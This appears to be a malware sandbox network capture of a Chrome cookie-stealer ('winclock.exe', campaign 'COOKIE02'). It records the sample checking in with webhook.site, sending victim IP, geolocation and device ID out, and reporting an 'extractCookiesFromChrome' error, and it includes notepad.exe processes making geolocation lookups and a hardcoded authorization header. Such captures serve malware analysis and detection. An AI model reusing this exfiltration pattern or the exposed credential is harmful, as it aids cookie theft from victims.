2024-12-27 08:09:41 UTC	447	IN	Data Raw: 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 5f 63 6f 64 65 22 3a 20 22 4e 59 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 Data Ascii: { "ip": "8.46.123.189", "network": "8.46.123.0/24", "version": "IPv4", "city": "New York City", "region": "New York", "region_code": "NY", "country": "US", "country_name": "United States", "country_code": "US", "cou
2024-12-27 08:09:41 UTC	317	IN	Data Raw: 74 75 64 65 22 3a 20 2d 37 33 2e 39 38 38 34 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 20 20 22 75 74 63 5f 6f 66 66 73 65 74 22 3a 20 22 2d 30 35 30 30 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 61 6c 6c 69 6e 67 5f 63 6f 64 65 22 3a 20 22 2b 31 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 22 3a 20 22 55 53 44 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 44 6f 6c 6c 61 72 22 2c 0a 20 20 20 20 22 6c 61 6e 67 75 61 67 65 73 22 3a 20 22 65 6e 2d 55 53 2c 65 73 2d 55 53 2c 68 61 77 2c 66 72 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 61 72 65 61 22 3a 20 39 36 32 39 30 39 31 2e 30 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 70 6f 70 75 Data Ascii: tude": -73.9884, "timezone": "America/New_York", "utc_offset": "-0500", "country_calling_code": "+1", "currency": "USD", "currency_name": "Dollar", "languages": "en-US,es-US,haw,fr", "country_area": 9629091.0, "country_popu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	178.63.67.153	443	6264	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:09:43 UTC	249	OUT	POST /check-should-extract-cookies HTTP/1.1 Host: webhook.site User-Agent: Go-http-client/1.1 Content-Length: 52 Authorization: Basic YXBpS2V5OnB4bVlSYVpjRGZVOU43U1RISU8yZ1E0SnRLWHlXVmxq Content-Type: application/json Accept-Encoding: gzip
2024-12-27 08:09:43 UTC	52	OUT	Data Raw: 7b 22 64 65 76 69 63 65 5f 69 64 22 3a 22 37 31 34 33 34 44 35 36 2d 31 35 34 38 2d 45 44 33 44 2d 41 45 45 36 2d 43 37 35 41 45 43 44 39 33 42 46 30 22 7d Data Ascii: {"device_id":"71434D56-1548-ED3D-AEE6-C75AECD93BF0"}
2024-12-27 08:09:45 UTC	286	IN	HTTP/1.1 200 OK server: nginx content-type: application/json transfer-encoding: chunked x-request-id: b587b664-c3c0-4fd2-bdb8-24568aa78a48 x-token-id: 7e8d29e9-1ac8-41ff-9490-b43c1217d5fd cache-control: no-cache, private date: Fri, 27 Dec 2024 08:09:44 GMT connection: close
2024-12-27 08:09:45 UTC	35	IN	Data Raw: 31 38 0d 0a 7b 22 6e 65 65 64 73 45 78 74 72 61 63 74 69 6f 6e 22 3a 74 72 75 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 18{"needsExtraction":true}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	178.63.67.153	443	6264	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:09:46 UTC	245	OUT	POST /publish-state-extractor HTTP/1.1 Host: webhook.site User-Agent: Go-http-client/1.1 Content-Length: 522 Authorization: Basic YXBpS2V5OnB4bVlSYVpjRGZVOU43U1RISU8yZ1E0SnRLWHlXVmxq Content-Type: application/json Accept-Encoding: gzip
2024-12-27 08:09:46 UTC	522	OUT	Data Raw: 7b 22 63 61 6d 70 61 69 67 6e 5f 69 64 22 3a 22 43 4f 4f 4b 49 45 30 32 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 64 61 74 65 74 69 6d 65 5f 75 74 63 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 30 38 3a 30 39 3a 34 33 2e 38 30 32 31 36 33 39 5a 22 2c 22 64 65 76 69 63 65 5f 69 64 22 3a 22 37 31 34 33 34 44 35 36 2d 31 35 34 38 2d 45 44 33 44 2d 41 45 45 36 2d 43 37 35 41 45 43 44 39 33 42 46 30 22 2c 22 65 72 72 6f 72 5f 6d 65 73 73 61 67 65 22 3a 22 22 2c 22 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 69 73 70 5f 6f 72 67 22 3a 22 4c 45 56 45 4c 33 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 37 38 2c 22 6c 6f 6e 67 69 74 75 64 65 Data Ascii: {"campaign_id":"COOKIE02","city":"New York City","country":"US","datetime_utc":"2024-12-27T08:09:43.8021639Z","device_id":"71434D56-1548-ED3D-AEE6-C75AECD93BF0","error_message":"","ip_address":"8.46.123.189","isp_org":"LEVEL3","latitude":40.778,"longitude
2024-12-27 08:09:49 UTC	286	IN	HTTP/1.1 200 OK server: nginx content-type: application/json transfer-encoding: chunked x-request-id: be6df6f3-ce5c-4977-af06-6a7ca81669ab x-token-id: efe6628a-60cc-4d7a-bd08-479e31e08de5 cache-control: no-cache, private date: Fri, 27 Dec 2024 08:09:49 GMT connection: close
2024-12-27 08:09:49 UTC	156	IN	Data Raw: 39 31 0d 0a 54 68 69 73 20 55 52 4c 20 68 61 73 20 6e 6f 20 64 65 66 61 75 6c 74 20 63 6f 6e 74 65 6e 74 20 63 6f 6e 66 69 67 75 72 65 64 2e 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 65 62 68 6f 6f 6b 2e 73 69 74 65 2f 23 21 2f 76 69 65 77 2f 65 66 65 36 36 32 38 61 2d 36 30 63 63 2d 34 64 37 61 2d 62 64 30 38 2d 34 37 39 65 33 31 65 30 38 64 65 35 22 3e 56 69 65 77 20 69 6e 20 57 65 62 68 6f 6f 6b 2e 73 69 74 65 3c 2f 61 3e 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 91This URL has no default content configured. <a href="https://webhook.site/#!/view/efe6628a-60cc-4d7a-bd08-479e31e08de5">View in Webhook.site</a>.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	178.63.67.153	443	6264	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:09:50 UTC	245	OUT	POST /publish-state-extractor HTTP/1.1 Host: webhook.site User-Agent: Go-http-client/1.1 Content-Length: 515 Authorization: Basic YXBpS2V5OnB4bVlSYVpjRGZVOU43U1RISU8yZ1E0SnRLWHlXVmxq Content-Type: application/json Accept-Encoding: gzip
2024-12-27 08:09:50 UTC	515	OUT	Data Raw: 7b 22 63 61 6d 70 61 69 67 6e 5f 69 64 22 3a 22 43 4f 4f 4b 49 45 30 32 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 64 61 74 65 74 69 6d 65 5f 75 74 63 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 30 38 3a 30 39 3a 34 37 2e 39 39 30 36 38 38 5a 22 2c 22 64 65 76 69 63 65 5f 69 64 22 3a 22 37 31 34 33 34 44 35 36 2d 31 35 34 38 2d 45 44 33 44 2d 41 45 45 36 2d 43 37 35 41 45 43 44 39 33 42 46 30 22 2c 22 65 72 72 6f 72 5f 6d 65 73 73 61 67 65 22 3a 22 22 2c 22 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 69 73 70 5f 6f 72 67 22 3a 22 4c 45 56 45 4c 33 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 37 38 2c 22 6c 6f 6e 67 69 74 75 64 65 22 Data Ascii: {"campaign_id":"COOKIE02","city":"New York City","country":"US","datetime_utc":"2024-12-27T08:09:47.990688Z","device_id":"71434D56-1548-ED3D-AEE6-C75AECD93BF0","error_message":"","ip_address":"8.46.123.189","isp_org":"LEVEL3","latitude":40.778,"longitude"
2024-12-27 08:09:53 UTC	286	IN	HTTP/1.1 200 OK server: nginx content-type: application/json transfer-encoding: chunked x-request-id: 86f58db0-b719-4070-8154-eb5b80ef67dd x-token-id: efe6628a-60cc-4d7a-bd08-479e31e08de5 cache-control: no-cache, private date: Fri, 27 Dec 2024 08:09:53 GMT connection: close
2024-12-27 08:09:53 UTC	156	IN	Data Raw: 39 31 0d 0a 54 68 69 73 20 55 52 4c 20 68 61 73 20 6e 6f 20 64 65 66 61 75 6c 74 20 63 6f 6e 74 65 6e 74 20 63 6f 6e 66 69 67 75 72 65 64 2e 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 65 62 68 6f 6f 6b 2e 73 69 74 65 2f 23 21 2f 76 69 65 77 2f 65 66 65 36 36 32 38 61 2d 36 30 63 63 2d 34 64 37 61 2d 62 64 30 38 2d 34 37 39 65 33 31 65 30 38 64 65 35 22 3e 56 69 65 77 20 69 6e 20 57 65 62 68 6f 6f 6b 2e 73 69 74 65 3c 2f 61 3e 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 91This URL has no default content configured. <a href="https://webhook.site/#!/view/efe6628a-60cc-4d7a-bd08-479e31e08de5">View in Webhook.site</a>.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49798	178.63.67.153	443	6264	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:13 UTC	245	OUT	POST /publish-state-extractor HTTP/1.1 Host: webhook.site User-Agent: Go-http-client/1.1 Content-Length: 646 Authorization: Basic YXBpS2V5OnB4bVlSYVpjRGZVOU43U1RISU8yZ1E0SnRLWHlXVmxq Content-Type: application/json Accept-Encoding: gzip
2024-12-27 08:10:13 UTC	646	OUT	Data Raw: 7b 22 63 61 6d 70 61 69 67 6e 5f 69 64 22 3a 22 43 4f 4f 4b 49 45 30 32 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 64 61 74 65 74 69 6d 65 5f 75 74 63 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 30 38 3a 31 30 3a 31 31 2e 30 33 36 33 34 31 38 5a 22 2c 22 64 65 76 69 63 65 5f 69 64 22 3a 22 37 31 34 33 34 44 35 36 2d 31 35 34 38 2d 45 44 33 44 2d 41 45 45 36 2d 43 37 35 41 45 43 44 39 33 42 46 30 22 2c 22 65 72 72 6f 72 5f 6d 65 73 73 61 67 65 22 3a 22 70 61 6e 69 63 20 69 6e 20 65 78 74 72 61 63 74 43 6f 6f 6b 69 65 73 46 72 6f 6d 43 68 72 6f 6d 65 3a 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 75 6e 65 78 70 65 63 74 65 64 20 55 52 4c 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e Data Ascii: {"campaign_id":"COOKIE02","city":"New York City","country":"US","datetime_utc":"2024-12-27T08:10:11.0363418Z","device_id":"71434D56-1548-ED3D-AEE6-C75AECD93BF0","error_message":"panic in extractCookiesFromChrome: redirected to unexpected URL: https://www.
2024-12-27 08:10:16 UTC	286	IN	HTTP/1.1 200 OK server: nginx content-type: application/json transfer-encoding: chunked x-request-id: 967eff8e-c7b2-4de5-9acc-093fe169e9ec x-token-id: efe6628a-60cc-4d7a-bd08-479e31e08de5 cache-control: no-cache, private date: Fri, 27 Dec 2024 08:10:16 GMT connection: close
2024-12-27 08:10:16 UTC	156	IN	Data Raw: 39 31 0d 0a 54 68 69 73 20 55 52 4c 20 68 61 73 20 6e 6f 20 64 65 66 61 75 6c 74 20 63 6f 6e 74 65 6e 74 20 63 6f 6e 66 69 67 75 72 65 64 2e 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 65 62 68 6f 6f 6b 2e 73 69 74 65 2f 23 21 2f 76 69 65 77 2f 65 66 65 36 36 32 38 61 2d 36 30 63 63 2d 34 64 37 61 2d 62 64 30 38 2d 34 37 39 65 33 31 65 30 38 64 65 35 22 3e 56 69 65 77 20 69 6e 20 57 65 62 68 6f 6f 6b 2e 73 69 74 65 3c 2f 61 3e 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 91This URL has no default content configured. <a href="https://webhook.site/#!/view/efe6628a-60cc-4d7a-bd08-479e31e08de5">View in Webhook.site</a>.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49809	178.63.67.153	443	6264	C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:18 UTC	245	OUT	POST /publish-state-extractor HTTP/1.1 Host: webhook.site User-Agent: Go-http-client/1.1 Content-Length: 565 Authorization: Basic YXBpS2V5OnB4bVlSYVpjRGZVOU43U1RISU8yZ1E0SnRLWHlXVmxq Content-Type: application/json Accept-Encoding: gzip
2024-12-27 08:10:18 UTC	565	OUT	Data Raw: 7b 22 63 61 6d 70 61 69 67 6e 5f 69 64 22 3a 22 43 4f 4f 4b 49 45 30 32 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 64 61 74 65 74 69 6d 65 5f 75 74 63 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 30 38 3a 31 30 3a 31 35 2e 32 38 37 34 35 35 35 5a 22 2c 22 64 65 76 69 63 65 5f 69 64 22 3a 22 37 31 34 33 34 44 35 36 2d 31 35 34 38 2d 45 44 33 44 2d 41 45 45 36 2d 43 37 35 41 45 43 44 39 33 42 46 30 22 2c 22 65 72 72 6f 72 5f 6d 65 73 73 61 67 65 22 3a 22 22 2c 22 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 69 73 70 5f 6f 72 67 22 3a 22 4c 45 56 45 4c 33 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 37 38 2c 22 6c 6f 6e 67 69 74 75 64 65 Data Ascii: {"campaign_id":"COOKIE02","city":"New York City","country":"US","datetime_utc":"2024-12-27T08:10:15.2874555Z","device_id":"71434D56-1548-ED3D-AEE6-C75AECD93BF0","error_message":"","ip_address":"8.46.123.189","isp_org":"LEVEL3","latitude":40.778,"longitude
2024-12-27 08:10:20 UTC	286	IN	HTTP/1.1 200 OK server: nginx content-type: application/json transfer-encoding: chunked x-request-id: d583d4f9-41b6-4a35-b02f-4db231566ae0 x-token-id: efe6628a-60cc-4d7a-bd08-479e31e08de5 cache-control: no-cache, private date: Fri, 27 Dec 2024 08:10:20 GMT connection: close
2024-12-27 08:10:20 UTC	156	IN	Data Raw: 39 31 0d 0a 54 68 69 73 20 55 52 4c 20 68 61 73 20 6e 6f 20 64 65 66 61 75 6c 74 20 63 6f 6e 74 65 6e 74 20 63 6f 6e 66 69 67 75 72 65 64 2e 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 65 62 68 6f 6f 6b 2e 73 69 74 65 2f 23 21 2f 76 69 65 77 2f 65 66 65 36 36 32 38 61 2d 36 30 63 63 2d 34 64 37 61 2d 62 64 30 38 2d 34 37 39 65 33 31 65 30 38 64 65 35 22 3e 56 69 65 77 20 69 6e 20 57 65 62 68 6f 6f 6b 2e 73 69 74 65 3c 2f 61 3e 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 91This URL has no default content configured. <a href="https://webhook.site/#!/view/efe6628a-60cc-4d7a-bd08-479e31e08de5">View in Webhook.site</a>.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49835	157.7.208.157	443	1852	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:30 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:10:30 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:30 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:10:30 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": "Nueva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49841	157.7.208.157	443	1852	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:32 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:10:32 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:32 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:10:32 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": "Nueva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49847	157.7.208.157	443	1852	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:34 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:10:35 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:34 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:10:35 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": "Nueva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49859	157.7.208.157	443	280	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:38 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:10:38 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:38 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:10:38 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": "Nueva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49865	157.7.208.157	443	280	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:40 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:10:40 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:40 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:10:40 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": "Nueva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49871	157.7.208.157	443	280	C:\Windows\System32\notepad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:10:42 UTC	97	OUT	GET /json HTTP/1.1 Host: inet-ip.info User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-27 08:10:43 UTC	159	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:10:42 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-12-27 08:10:43 UTC	2220	IN	Data Raw: 38 61 30 0d 0a 7b 0a 20 22 69 70 41 64 64 72 65 73 73 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 22 61 73 6e 22 3a 20 7b 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4e 75 6d 62 65 72 22 3a 20 33 33 35 36 2c 0a 20 20 22 41 75 74 6f 6e 6f 6d 6f 75 73 53 79 73 74 65 6d 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 22 4c 45 56 45 4c 33 22 0a 20 7d 2c 0a 20 22 63 69 74 79 22 3a 20 7b 0a 20 20 22 43 69 74 79 22 3a 20 7b 0a 20 20 20 22 47 65 6f 4e 61 6d 65 49 44 22 3a 20 35 31 32 38 35 38 31 2c 0a 20 20 20 22 4e 61 6d 65 73 22 3a 20 7b 0a 20 20 20 20 22 64 65 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 65 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 65 73 22 3a 20 22 4e 75 65 76 61 Data Ascii: 8a0{ "ipAddress": "8.46.123.189", "asn": { "AutonomousSystemNumber": 3356, "AutonomousSystemOrganization": "LEVEL3" }, "city": { "City": { "GeoNameID": 5128581, "Names": { "de": "New York City", "en": "New York", "es": 